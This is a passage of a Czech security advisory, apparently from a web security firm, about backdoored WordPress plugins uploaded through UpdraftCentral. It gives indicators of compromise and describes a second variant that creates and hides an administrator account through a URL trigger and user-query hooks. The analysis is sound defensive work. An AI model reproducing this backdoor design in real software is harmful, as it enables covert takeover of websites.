zpracov\u00e1v\u00e1 p\u0159\u00edkazy a\u017e v akci wp_loaded<\/code>, kter\u00e1 p\u0159ich\u00e1z\u00ed po init<\/code>, tak\u017ee v tom po\u017eadavku se chybn\u00fd k\u00f3d nespustil. \u00dato\u010dn\u00edk dostal potvrzen\u00ed o \u00fasp\u011bchu a o chyb\u011b se z odpov\u011bdi nedozv\u011bd\u011bl. Spadly a\u017e n\u00e1sleduj\u00edc\u00ed po\u017eadavky.<\/p>\n\u00dato\u010dn\u00edkovi v\u0161ak sta\u010d\u00ed opravit p\u00e1r znak\u016f a dal\u0161\u00ed vlna m\u016f\u017ee fungovat. Pokud u sebe najdete podobn\u00fd \u201erozbit\u00fd\u201c plugin, neopravujte ho.<\/strong> Oprava by backdoor zapnula. Odstra\u0148te ho.<\/p>\nDal\u0161\u00ed detaily<\/h3>\n\n- Plugin se tv\u00e1\u0159\u00ed jako b\u011b\u017en\u00fd dopln\u011bk: m\u00e1 \u00faplnou hlavi\u010dku, licenci GPL,
Text Domain<\/code>, popis \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a vymy\u0161len\u00e9 vydavatelstv\u00ed (\u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c).<\/li>\n- Soubory
assets\/public.css<\/code>, assets\/public.js<\/code> a languages\/readme.txt<\/code> obsahuj\u00ed jen koment\u00e1\u0159. Plugin je nikde nepou\u017e\u00edv\u00e1, jsou tam, aby adres\u00e1\u0159 vypadal jako skute\u010dn\u00fd plugin.<\/li>\nuninstall.php<\/code> p\u0159i odinstalaci z administrace sma\u017ee volby <slug>_sync_token<\/code> a <slug>_setup_stamp<\/code>, tedy stopy po sob\u011b. Druhou volbu k\u00f3d nikde nevytv\u00e1\u0159\u00ed, je to poz\u016fstatek \u0161ablony.<\/li>\n- P\u0159i aktivaci ulo\u017e\u00ed token do volby
<slug>_sync_token<\/code> bez automatick\u00e9ho na\u010d\u00edt\u00e1n\u00ed. K\u00f3d ji nikde ne\u010dte.<\/li>\n- Oba vzorky vyrobil stejn\u00fd gener\u00e1tor. Kdy\u017e v nich nahrad\u00edme n\u00e1zvy, tokeny, jm\u00e9na a verze z\u00e1stupn\u00fdmi \u0159et\u011bzci, jsou v\u0161echny soubory bajt po bajtu shodn\u00e9. N\u00e1zev m\u00e1 tvar
slovo-slovo-3 hex znaky<\/code>, parametr _<\/code> a 6 hex znak\u016f, u\u017eivatel slovo-slovo<\/code> a dv\u011b \u010d\u00edslice. Token m\u00e1 32 znak\u016f a heslo 22 znak\u016f (p\u00edsmena, \u010d\u00edslice, podtr\u017e\u00edtko).<\/li>\n<\/ul>\nIndik\u00e1tory kompromitace<\/h2>\n\n\n\n\n| Adres\u00e1\u0159 pluginu<\/td>\n | load-stack-35c<\/code><\/td>\ntext-gantry-eb0<\/code><\/td>\n<\/tr>\n\n| N\u00e1zev \/ autor \/ verze<\/td>\n | Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n | Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n | \n| Parametr v URL<\/td>\n | _9f5696<\/code><\/td>\n_3e9caa<\/code><\/td>\n<\/tr>\n\n| U\u017eivatel<\/td>\n | data-ops43<\/code><\/td>\nmedia-staff96<\/code><\/td>\n<\/tr>\n\n| Volba v datab\u00e1zi<\/td>\n | load_stack_35c_sync_token<\/code><\/td>\ntext_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n\n| SHA-256 hlavn\u00edho souboru<\/td>\n | 3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\nbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n\nSHA-256 uninstall.php<\/code><\/td>\n4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\nDal\u0161\u00ed vzorky prvn\u00ed varianty n\u00e1m poslaly jin\u00e9 ob\u011bti a dal\u0161\u00ed n\u00e1zvy uv\u00e1d\u00ed Patchstack:<\/p>\n \nhero-frame-2c5<\/code>, autor \u201eCopperForge WP\u201c, u\u017eivatel s e-mailem render-build21@example.org<\/code>, SHA-256 hlavn\u00edho souboru a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, uninstall.php<\/code> 325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\ncard-binder-104<\/code>, verze 2.6.7, u\u017eivatel render.desk87<\/code><\/li>\n- podle Patchstacku nap\u0159\u00edklad \u201eSite Health Cache\u201c, \u201eAsset Forge 2\u201c, \u201eContent Helper\u201c a \u201eWp Forge\u201c, celkem 99 n\u00e1zv\u016f<\/li>\n<\/ul>\n
Spole\u010dn\u00e9 znaky:<\/p>\n \n- IP adresy
43.250.53.42<\/code> a 2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent p\u0159esn\u011b WordPress\/6.4; class-udrpc.php<\/code>, po\u017eadavek POST \/<\/code><\/li>\n- v logu UpdraftCentral sonda
probe.central.updraftplus.com<\/code> a o n\u011bkolik hodin pozd\u011bji Command received: plugin.upload_plugin<\/code><\/li>\n- popis pluginu \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c<\/li>\n
- u\u017eivatel s e-mailem na
@example.org<\/code> a zobrazovan\u00fdm jm\u00e9nem \u201eSite Tools\u201c, s rol\u00ed Editor a opr\u00e1vn\u011bn\u00edmi manage_options<\/code> a install_plugins<\/code><\/li>\n- fat\u00e1ln\u00ed chyba
Undefined constant <T\u0159\u00edda>::FIELD<\/code> a e-mail WordPressu o chyb\u011b v pluginu, kter\u00fd nezn\u00e1te<\/li>\n<\/ul>\nDruh\u00e1 varianta: skryt\u00fd administr\u00e1tor<\/h2>\nTuto variantu jsme sami neanalyzovali. Popis i indik\u00e1tory n\u00e1m poslal spr\u00e1vce zhruba 145 web\u016f, z nich\u017e \u00fato\u010dn\u00edk napadl t\u0159i. Na jeden nahr\u00e1l variantu popsanou v\u00fd\u0161e, na dva dal\u0161\u00ed jin\u00fd plugin. Patchstack tuto variantu ve sv\u00e9 anal\u00fdze zat\u00edm neuv\u00e1d\u00ed.<\/p>\n \n- N\u00e1zvy: \u201eSrc Lab\u201c (
src-lab<\/code>, autor \u201eWPBridge\u201c, verze 3.0.0) a \u201eRender Helper 232b\u201c (render-helper-232b<\/code>, verze 3.7.9).<\/li>\n- Popis: \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c Pro zakryt\u00ed plugin opravdu p\u0159id\u00e1 denn\u00ed cron, kter\u00fd ma\u017ee expirovan\u00e9 transienty, a filtr pro jQuery na str\u00e1nk\u00e1ch AMP.<\/li>\n
- Spou\u0161t\u011b\u010d: parametr s n\u00e1zvem z 12 hex znak\u016f a 32znakov\u00fd token, nap\u0159\u00edklad
?303541c9dfd0=\u2026&m=setup<\/code>. Re\u017eim m=setup<\/code> vytvo\u0159\u00ed administr\u00e1tora<\/strong> (nap\u0159\u00edklad cmseditor170@example.com<\/code> nebo web_mgr684@example.com<\/code>), re\u017eim m=svc<\/code> p\u0159ihl\u00e1s\u00ed n\u00e1v\u0161t\u011bvn\u00edka do tohoto \u00fa\u010dtu. Bez parametru m<\/code> ho p\u0159ihl\u00e1s\u00ed jako prvn\u00edho existuj\u00edc\u00edho administr\u00e1tora webu<\/strong>.<\/li>\n- ID vytvo\u0159en\u00e9ho \u00fa\u010dtu ukl\u00e1d\u00e1 do volby
<slug>_uid<\/code>, nap\u0159\u00edklad src_lab_uid<\/code>.<\/li>\n- \u00da\u010det skr\u00fdv\u00e1: h\u00e1\u010dek
pre_user_query<\/code> ho vy\u0159ad\u00ed ze seznamu u\u017eivatel\u016f a filtr pre_count_users<\/code> sn\u00ed\u017e\u00ed po\u010det administr\u00e1tor\u016f o jednoho. V administraci ho tedy neuvid\u00edte.<\/li>\n- Nem\u00e1
uninstall.php<\/code>. P\u0159i deaktivaci sma\u017ee jen volbu <slug>_installed<\/code>.<\/li>\n- SHA-256
src-lab.php<\/code>: 59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n- Doru\u010den\u00ed je stejn\u00e9 jako u prvn\u00ed varianty, p\u0159es sondu a
plugin.upload_plugin<\/code>, z IP 2a09:bac5:4e21:2e3c::49b:9<\/code> (src-lab 18. 10. 23:39 UTC, render-helper-232b 19. 10. 0:03 UTC).<\/li>\n<\/ul>\nSpr\u00e1vce neuv\u00e1d\u00ed, \u017ee by tato varianta m\u011bla stejnou chybu jako prvn\u00ed, proto je t\u0159eba po\u010d\u00edtat s t\u00edm, \u017ee funguje. Na jeho webech ji \u00fato\u010dn\u00edk nepou\u017eil: nevznikla volba _uid<\/code>, \u017e\u00e1dn\u00fd \u00fa\u010det ani ciz\u00ed relace.<\/p>\n | | | | | | | | | | | | |
|
|